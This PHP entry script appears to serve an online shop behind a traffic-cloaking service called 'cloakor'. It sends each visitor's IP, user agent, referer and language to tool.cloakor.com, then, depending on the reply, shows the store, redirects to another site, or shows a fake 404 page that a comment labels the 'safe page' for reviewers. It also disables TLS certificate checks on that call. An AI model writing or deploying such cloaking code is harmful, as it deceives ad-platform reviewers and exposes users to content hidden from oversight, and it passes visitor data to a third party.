<?php
function get_current_ip(){
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {//使用cloudflare 转发的IP地址
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } else {
        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
            $ip = getenv('REMOTE_ADDR');
        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
    }
    return $ip;
}



function get_domain_suffix($domain) {
    $lastPos = strrpos($domain, '.');
    if ($lastPos !== false) {
        $suffix = substr($domain, $lastPos + 1);
    } else {
        $suffix = '';
    }
    return $suffix;
}


function is_www_subdomain($url) {
    $parsedUrl = parse_url($url);
    $hostParts = explode('.', $parsedUrl['host'] ?? ($parsedUrl['path'] ?? ''));
    //return count($hostParts) >= 2 && strtolower($hostParts[0]) === 'www';
    return count($hostParts) >= 2;
}


function is_img_subdomain($url) {
    $parsedUrl = parse_url($url);
    $hostParts = explode('.', $parsedUrl['host'] ?? ($parsedUrl['path'] ?? ''));
    return count($hostParts) >= 2 && strtolower($hostParts[0]) === 'img';
}

function cloak_request($url, $sumbitdata, $timeout = 100) {

    try {
        $ch = curl_init();
        curl_setopt ( $ch, CURLOPT_URL, $url );
        curl_setopt ( $ch, CURLOPT_VERBOSE, 1 );
        curl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
        curl_setopt ( $ch, CURLOPT_SSL_VERIFYHOST, FALSE );
        curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
        curl_setopt ( $ch, CURLOPT_POST, 1 );
        curl_setopt ( $ch, CURLOPT_POSTFIELDS, http_build_query($sumbitdata));
        $response = curl_exec($ch);
        $cloakrearr = json_decode($response,true);
        curl_close ($ch);
    } catch (Throwable $th) {
        $cloakrearr = [];
    }
    return $cloakrearr;
}

if (is_file('cloakor-config.php')) {
    $config = require_once('cloakor-config.php');
} elseif (is_file('cloakor-config-dist.php')) {
    $config = require_once('cloakor-config-dist.php');
} else {
    $config = [];
}


#### 强制 http转到https
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
    // 如果已经是HTTPS，直接跳过
} else {
    // 重定向到HTTPS
    $url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header("Location: $url");
    exit();
}



$api_pass = $config['api_pass'] ?? true; //强制通过
$restrict_img = $config['restrict_img'] ?? true; //限制img二级域名访问
//这边设置使用的模式模式
$open = $config['open'] ?? false;   //是否开启
$jumpmethod = $config['jump_method'] ?? "local";   //模式：jump->跳转新网站, local->本站
$username = $config['username'] ?? "";      //cloakor的账号名(修改)
$userpwd = $config['userpwd'] ?? "";  //cloakor的密钥(修改)
$advid = $config['advid'] ?? "1000";  //cloakor的密钥(修改)
$ip_test = $config['ip_test'] ?? "";
$domain_test = $config['domain_test'] ?? "";
$debug = $config['debug'] ?? false;
$suffix_list = $config['suffix'] ?? [];
$url = $config['url'] ?? '';
$url = $url ?: 'https://tool.cloakor.com/cloakor/index.php';

$abvalue = false;        //判断AB页状态值
$domain = $domain_test ?: $_SERVER['HTTP_HOST']; //域名
$ip = $ip_test ?: get_current_ip(); //客户端IP
$ua = $_SERVER['HTTP_USER_AGENT']; //客户端UA
$referer = isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:""; //客户端referer
$language = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$status = true;


if ($restrict_img && is_img_subdomain($domain)) {
    exit("<h1 style='text-align:center;'>Welcome to {$domain}</h1>");
}

//检查域名后缀
if (!empty($suffix_list)) {
    $suffix = strtolower(get_domain_suffix($domain));
    if (!in_array($suffix, $suffix_list)) {
        $open = false;
    }
}

//判断域名是否带www
if (!is_www_subdomain($domain)) {
    $domain = 'www.' . $domain;
}

if ($open === true) {
    //请求cloakor
    $sumbitdata = array(
        "username" => $username,               //cloakor的账号名(修改)
        "userpwd" => $userpwd,                 //cloakor的密钥(修改)
        "domain" => $domain,      //域名
        'advid' => $advid,                        //广告的ID号(修改)
        'ip' => $ip,               //客户端IP
        'ua' => $ua,    //客户端UA
        'referer' => $referer, //客户端referer
        'language'=> $language,
    );

    $cloakrearr = cloak_request($url,$sumbitdata);


    if ($debug) {
        print_r([
            "domain" => $domain,      //域名
            'advid' => $advid,                        //广告的ID号(修改)
            'ip' => $ip,               //客户端IP
            'ua' => $ua,    //客户端UA
            'referer' => $referer, //客户端referer
            'language'=> $language,
        ]);
        echo "<br>";
        print_r($cloakrearr);
    }

    $msg = $cloakrearr['msg'] ?? '';
    if ($msg == 'Sorry,Ads Project No Open') {
        $status = false;
    }


    if(isset($cloakrearr['jump']) && ($cloakrearr['jump']==true))
    {

        $go_b_site = str_replace("&amp;","&",$cloakrearr["gotosite"]);
        $currdomain= $domain;
        $currdomain = str_replace("www.","",$currdomain);
        $gositearr = explode("|",$go_b_site);
        $urlstring = strtolower($_SERVER['REQUEST_URI']);
        $curindex = -1;
        if(count($gositearr)>1){
            for($i=0;$i<count($gositearr);$i++){
                $paramsinfoarr=explode("@",$gositearr[$i]);
                if(strpos($urlstring, strtolower($paramsinfoarr[0]))!==false){
                    $curindex=$i;
                    break;
                }
            }
            if($curindex!=-1){
                $paramsinfo=explode("@",$gositearr[$curindex]);
                $go_b_site=$paramsinfo[1];
                $abvalue=true;
            }


        }
        else
        {
            $abvalue=true;
        }


    }
    else
    {
        $abvalue=false;
    }

}

//强制api通过 或 关闭
if ($api_pass || !$open) {
    $jumpmethod = 'local';
    $abvalue = true;
}

if($jumpmethod == "jump" &&  $abvalue == true){
    header('Location: https://'.$go_b_site);
    die();
} elseif (($jumpmethod == "local" && $abvalue == true) || !$status) {

    define('VERSION', '3.0.3.2');
    define('SITE_NET_IMG_DOMAIN_LIST', 'www.saveb.net|img.saveb.net|saveb.net');
    error_reporting(0);
    // Configuration
    if (is_file('config.php')) {
        require_once('config.php');
    }

    // Install
    if (!defined('DIR_APPLICATION')) {
        header('Location: install/index.php');
        exit;
    }

    // Startup
    require_once(DIR_SYSTEM . 'startup.php');

    start('catalog');
    exit;

} else {
    echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
            <html><head>
                <title>404 Not Found</title>
            </head><body>
            <h1>Not Found</h1>
            <span class="header-font" style="font-size: 6em; font-weight: bold; opacity: .3">404</span>
            <p>The requested URL  was not found on this server. your ip : ' . $ip . ';?> </p>
            </body></html>
            <!--网站HTML网页代码 安全页，审核页，普品页，safe site-->
        ';
}